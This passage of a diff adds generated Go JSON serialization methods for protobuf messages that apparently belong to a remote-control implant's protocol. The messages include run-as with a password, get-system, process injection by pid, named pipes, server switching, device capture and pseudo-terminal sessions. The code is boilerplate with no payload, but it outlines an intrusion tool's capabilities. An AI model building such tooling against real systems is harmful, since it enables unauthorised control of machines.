+ s.WriteMoreIf(&wroteField) + s.WriteObjectField("checkpoint") + s.WriteUint32(x.Checkpoint) + } + if x.WaitHint != 0 || s.HasField("waitHint") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("waitHint") + s.WriteUint32(x.WaitHint) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ServiceStatus to JSON. +func (x *ServiceStatus) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ServiceStatus message from JSON. +func (x *ServiceStatus) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "current_state", "currentState": + s.AddField("current_state") + x.CurrentState = s.ReadUint32() + case "process_id", "processId": + s.AddField("process_id") + x.ProcessId = s.ReadUint32() + case "exit_code", "exitCode": + s.AddField("exit_code") + x.ExitCode = s.ReadUint32() + case "checkpoint": + s.AddField("checkpoint") + x.Checkpoint = s.ReadUint32() + case "wait_hint", "waitHint": + s.AddField("wait_hint") + x.WaitHint = s.ReadUint32() + } + }) +} + +// UnmarshalJSON unmarshals the ServiceStatus from JSON. +func (x *ServiceStatus) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Service message to JSON. +func (x *Service) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Config != nil || s.HasField("config") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("config") + x.Config.MarshalProtoJSON(s.WithField("config")) + } + if x.Status != nil || s.HasField("status") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("status") + x.Status.MarshalProtoJSON(s.WithField("status")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Service to JSON. +func (x *Service) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Service message from JSON. +func (x *Service) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "config": + if s.ReadNil() { + x.Config = nil + return + } + x.Config = &ServiceConfig{} + x.Config.UnmarshalProtoJSON(s.WithField("config", true)) + case "status": + if s.ReadNil() { + x.Status = nil + return + } + x.Status = &ServiceStatus{} + x.Status.UnmarshalProtoJSON(s.WithField("status", true)) + } + }) +} + +// UnmarshalJSON unmarshals the Service from JSON. +func (x *Service) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ServicesResponse message to JSON. +func (x *ServicesResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Services) > 0 || s.HasField("services") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("services") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Services { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("services")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ServicesResponse to JSON. +func (x *ServicesResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ServicesResponse message from JSON. +func (x *ServicesResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "services": + s.AddField("services") + if s.ReadNil() { + x.Services = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Services = append(x.Services, nil) + return + } + v := &Service{} + v.UnmarshalProtoJSON(s.WithField("services", false)) + if s.Err() != nil { + return + } + x.Services = append(x.Services, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the ServicesResponse from JSON. +func (x *ServicesResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the WmiQueryRequest message to JSON. +func (x *WmiQueryRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Namespace != "" || s.HasField("namespace") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("namespace") + s.WriteString(x.Namespace) + } + if len(x.Args) > 0 || s.HasField("args") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("args") + s.WriteStringArray(x.Args) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the WmiQueryRequest to JSON. +func (x *WmiQueryRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the WmiQueryRequest message from JSON. +func (x *WmiQueryRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "namespace": + s.AddField("namespace") + x.Namespace = s.ReadString() + case "args": + s.AddField("args") + if s.ReadNil() { + x.Args = nil + return + } + x.Args = s.ReadStringArray() + } + }) +} + +// UnmarshalJSON unmarshals the WmiQueryRequest from JSON. +func (x *WmiQueryRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the WmiMethodRequest_ParamsEntry message to JSON. +func (x *WmiMethodRequest_ParamsEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Value != "" || s.HasField("value") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("value") + s.WriteString(x.Value) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the WmiMethodRequest_ParamsEntry to JSON. +func (x *WmiMethodRequest_ParamsEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the WmiMethodRequest_ParamsEntry message from JSON. +func (x *WmiMethodRequest_ParamsEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "value": + s.AddField("value") + x.Value = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the WmiMethodRequest_ParamsEntry from JSON. +func (x *WmiMethodRequest_ParamsEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the WmiMethodRequest message to JSON. +func (x *WmiMethodRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Namespace != "" || s.HasField("namespace") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("namespace") + s.WriteString(x.Namespace) + } + if x.ClassName != "" || s.HasField("className") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("className") + s.WriteString(x.ClassName) + } + if x.MethodName != "" || s.HasField("methodName") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("methodName") + s.WriteString(x.MethodName) + } + if x.Params != nil || s.HasField("params") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("params") + s.WriteObjectStart() + var wroteElement bool + for k, v := range x.Params { + s.WriteMoreIf(&wroteElement) + s.WriteObjectStringField(k) + s.WriteString(v) + } + s.WriteObjectEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the WmiMethodRequest to JSON. +func (x *WmiMethodRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the WmiMethodRequest message from JSON. +func (x *WmiMethodRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "namespace": + s.AddField("namespace") + x.Namespace = s.ReadString() + case "class_name", "className": + s.AddField("class_name") + x.ClassName = s.ReadString() + case "method_name", "methodName": + s.AddField("method_name") + x.MethodName = s.ReadString() + case "params": + s.AddField("params") + if s.ReadNil() { + x.Params = nil + return + } + x.Params = make(map[string]string) + s.ReadStringMap(func(key string) { + x.Params[key] = s.ReadString() + }) + } + }) +} + +// UnmarshalJSON unmarshals the WmiMethodRequest from JSON. +func (x *WmiMethodRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the RunAsRequest message to JSON. +func (x *RunAsRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Username != "" || s.HasField("username") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("username") + s.WriteString(x.Username) + } + if x.Domain != "" || s.HasField("domain") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("domain") + s.WriteString(x.Domain) + } + if x.Password != "" || s.HasField("password") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("password") + s.WriteString(x.Password) + } + if x.Program != "" || s.HasField("program") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("program") + s.WriteString(x.Program) + } + if x.Args != "" || s.HasField("args") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("args") + s.WriteString(x.Args) + } + if x.UseProfile || s.HasField("useProfile") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("useProfile") + s.WriteBool(x.UseProfile) + } + if x.Netonly || s.HasField("netonly") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("netonly") + s.WriteBool(x.Netonly) + } + if x.UseEnv || s.HasField("useEnv") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("useEnv") + s.WriteBool(x.UseEnv) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the RunAsRequest to JSON. +func (x *RunAsRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the RunAsRequest message from JSON. +func (x *RunAsRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "username": + s.AddField("username") + x.Username = s.ReadString() + case "domain": + s.AddField("domain") + x.Domain = s.ReadString() + case "password": + s.AddField("password") + x.Password = s.ReadString() + case "program": + s.AddField("program") + x.Program = s.ReadString() + case "args": + s.AddField("args") + x.Args = s.ReadString() + case "use_profile", "useProfile": + s.AddField("use_profile") + x.UseProfile = s.ReadBool() + case "netonly": + s.AddField("netonly") + x.Netonly = s.ReadBool() + case "use_env", "useEnv": + s.AddField("use_env") + x.UseEnv = s.ReadBool() + } + }) +} + +// UnmarshalJSON unmarshals the RunAsRequest from JSON. +func (x *RunAsRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the GetSystem message to JSON. +func (x *GetSystem) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Bin) > 0 || s.HasField("bin") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bin") + s.WriteBytes(x.Bin) + } + if x.Pid != 0 || s.HasField("pid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("pid") + s.WriteUint32(x.Pid) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the GetSystem to JSON. +func (x *GetSystem) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the GetSystem message from JSON. +func (x *GetSystem) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "bin": + s.AddField("bin") + x.Bin = s.ReadBytes() + case "pid": + s.AddField("pid") + x.Pid = s.ReadUint32() + } + }) +} + +// UnmarshalJSON unmarshals the GetSystem from JSON. +func (x *GetSystem) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Inject message to JSON. +func (x *Inject) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Bin) > 0 || s.HasField("bin") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bin") + s.WriteBytes(x.Bin) + } + if x.Pid != 0 || s.HasField("pid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("pid") + s.WriteUint32(x.Pid) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Inject to JSON. +func (x *Inject) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Inject message from JSON. +func (x *Inject) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "bin": + s.AddField("bin") + x.Bin = s.ReadBytes() + case "pid": + s.AddField("pid") + x.Pid = s.ReadUint32() + } + }) +} + +// UnmarshalJSON unmarshals the Inject from JSON. +func (x *Inject) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Pipe message to JSON. +func (x *Pipe) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Target != "" || s.HasField("target") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("target") + s.WriteString(x.Target) + } + if len(x.Data) > 0 || s.HasField("data") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("data") + s.WriteBytes(x.Data) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Pipe to JSON. +func (x *Pipe) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Pipe message from JSON. +func (x *Pipe) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "target": + s.AddField("target") + x.Target = s.ReadString() + case "data": + s.AddField("data") + x.Data = s.ReadBytes() + } + }) +} + +// UnmarshalJSON unmarshals the Pipe from JSON. +func (x *Pipe) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the PipeRequest message to JSON. +func (x *PipeRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.Pipe != nil || s.HasField("pipe") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("pipe") + x.Pipe.MarshalProtoJSON(s.WithField("pipe")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the PipeRequest to JSON. +func (x *PipeRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the PipeRequest message from JSON. +func (x *PipeRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "pipe": + if s.ReadNil() { + x.Pipe = nil + return + } + x.Pipe = &Pipe{} + x.Pipe.UnmarshalProtoJSON(s.WithField("pipe", true)) + } + }) +} + +// UnmarshalJSON unmarshals the PipeRequest from JSON. +func (x *PipeRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Switch message to JSON. +func (x *Switch) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Urls) > 0 || s.HasField("urls") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("urls") + s.WriteStringArray(x.Urls) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Switch to JSON. +func (x *Switch) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Switch message from JSON. +func (x *Switch) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "urls": + s.AddField("urls") + if s.ReadNil() { + x.Urls = nil + return + } + x.Urls = s.ReadStringArray() + } + }) +} + +// UnmarshalJSON unmarshals the Switch from JSON. +func (x *Switch) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the TaskCtrl message to JSON. +func (x *TaskCtrl) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.TaskId != 0 || s.HasField("taskId") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("taskId") + s.WriteUint32(x.TaskId) + } + if x.Op != "" || s.HasField("op") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("op") + s.WriteString(x.Op) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the TaskCtrl to JSON. +func (x *TaskCtrl) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the TaskCtrl message from JSON. +func (x *TaskCtrl) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "task_id", "taskId": + s.AddField("task_id") + x.TaskId = s.ReadUint32() + case "op": + s.AddField("op") + x.Op = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the TaskCtrl from JSON. +func (x *TaskCtrl) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the TaskInfo message to JSON. +func (x *TaskInfo) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.TaskId != 0 || s.HasField("taskId") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("taskId") + s.WriteUint32(x.TaskId) + } + if x.Last != 0 || s.HasField("last") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("last") + s.WriteUint64(x.Last) + } + if x.RecvCount != 0 || s.HasField("recvCount") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("recvCount") + s.WriteUint32(x.RecvCount) + } + if x.SendCount != 0 || s.HasField("sendCount") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("sendCount") + s.WriteUint32(x.SendCount) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the TaskInfo to JSON. +func (x *TaskInfo) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the TaskInfo message from JSON. +func (x *TaskInfo) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "task_id", "taskId": + s.AddField("task_id") + x.TaskId = s.ReadUint32() + case "last": + s.AddField("last") + x.Last = s.ReadUint64() + case "recv_count", "recvCount": + s.AddField("recv_count") + x.RecvCount = s.ReadUint32() + case "send_count", "sendCount": + s.AddField("send_count") + x.SendCount = s.ReadUint32() + } + }) +} + +// UnmarshalJSON unmarshals the TaskInfo from JSON. +func (x *TaskInfo) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the TaskListResponse message to JSON. +func (x *TaskListResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Tasks) > 0 || s.HasField("tasks") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("tasks") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Tasks { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("tasks")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the TaskListResponse to JSON. +func (x *TaskListResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the TaskListResponse message from JSON. +func (x *TaskListResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "tasks": + s.AddField("tasks") + if s.ReadNil() { + x.Tasks = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Tasks = append(x.Tasks, nil) + return + } + v := &TaskInfo{} + v.UnmarshalProtoJSON(s.WithField("tasks", false)) + if s.Err() != nil { + return + } + x.Tasks = append(x.Tasks, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the TaskListResponse from JSON. +func (x *TaskListResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the FFmpegRequest message to JSON. +func (x *FFmpegRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Action != "" || s.HasField("action") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("action") + s.WriteString(x.Action) + } + if x.DeviceName != "" || s.HasField("deviceName") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("deviceName") + s.WriteString(x.DeviceName) + } + if x.OutputFormat != "" || s.HasField("outputFormat") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("outputFormat") + s.WriteString(x.OutputFormat) + } + if x.OutputPath != "" || s.HasField("outputPath") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("outputPath") + s.WriteString(x.OutputPath) + } + if x.Time != "" || s.HasField("time") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("time") + s.WriteString(x.Time) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the FFmpegRequest to JSON. +func (x *FFmpegRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the FFmpegRequest message from JSON. +func (x *FFmpegRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "action": + s.AddField("action") + x.Action = s.ReadString() + case "device_name", "deviceName": + s.AddField("device_name") + x.DeviceName = s.ReadString() + case "output_format", "outputFormat": + s.AddField("output_format") + x.OutputFormat = s.ReadString() + case "output_path", "outputPath": + s.AddField("output_path") + x.OutputPath = s.ReadString() + case "time": + s.AddField("time") + x.Time = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the FFmpegRequest from JSON. +func (x *FFmpegRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the PtyRequest_ParamsEntry message to JSON. +func (x *PtyRequest_ParamsEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Value != "" || s.HasField("value") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("value") + s.WriteString(x.Value) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the PtyRequest_ParamsEntry to JSON. +func (x *PtyRequest_ParamsEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the PtyRequest_ParamsEntry message from JSON. +func (x *PtyRequest_ParamsEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "value": + s.AddField("value") + x.Value = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the PtyRequest_ParamsEntry from JSON. +func (x *PtyRequest_ParamsEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the PtyRequest message to JSON. +func (x *PtyRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.SessionId != "" || s.HasField("sessionId") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("sessionId") + s.WriteString(x.SessionId) + } + if x.Shell != "" || s.HasField("shell") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("shell") + s.WriteString(x.Shell) + } + if x.Cols != 0 || s.HasField("cols") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("cols") + s.WriteUint32(x.Cols) + } + if x.Rows != 0 || s.HasField("rows") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("rows") + s.WriteUint32(x.Rows) + } + if len(x.InputData) > 0 || s.HasField("inputData") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("inputData") + s.WriteBytes(x.InputData) + } + if x.InputText != "" || s.HasField("inputText") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("inputText") + s.WriteString(x.InputText) + } + if x.Params != nil || s.HasField("params") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("params") + s.WriteObjectStart() + var wroteElement bool + for k, v := range x.Params { + s.WriteMoreIf(&wroteElement) + s.WriteObjectStringField(k) + s.WriteString(v) + } + s.WriteObjectEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the PtyRequest to JSON. +func (x *PtyRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the PtyRequest message from JSON. +func (x *PtyRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "session_id", "sessionId": + s.AddField("session_id") + x.SessionId = s.ReadString() + case "shell": + s.AddField("shell") + x.Shell = s.ReadString() + case "cols": + s.AddField("cols") + x.Cols = s.ReadUint32() + case "rows": + s.AddField("rows") + x.Rows = s.ReadUint32() + case "input_data", "inputData": + s.AddField("input_data") + x.InputData = s.ReadBytes() + case "input_text", "inputText": + s.AddField("input_text") + x.InputText = s.ReadString() + case "params": + s.AddField("params") + if s.ReadNil() { + x.Params = nil + return + } + x.Params = make(map[string]string) + s.ReadStringMap(func(key string) { + x.Params[key] = s.ReadString() + }) + } + }) +} + +// UnmarshalJSON unmarshals the PtyRequest from JSON. +func (x *PtyRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the PtyResponse_MetadataEntry message to JSON. +func (x *PtyResponse_MetadataEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Value != "" || s.HasField("value") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("value") + s.WriteString(x.Value) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the PtyResponse_MetadataEntry to JSON. +func (x *PtyResponse_MetadataEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the PtyResponse_MetadataEntry message from JSON. +func (x *PtyResponse_MetadataEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "value": + s.AddField("value") + x.Value = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the PtyResponse_MetadataEntry from JSON. +func (x *PtyResponse_MetadataEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the PtyResponse message to JSON. +func (x *PtyResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.SessionId != "" || s.HasField("sessionId") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("sessionId") + s.WriteString(x.SessionId) + } + if len(x.OutputData) > 0 || s.HasField("outputData") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("outputData") + 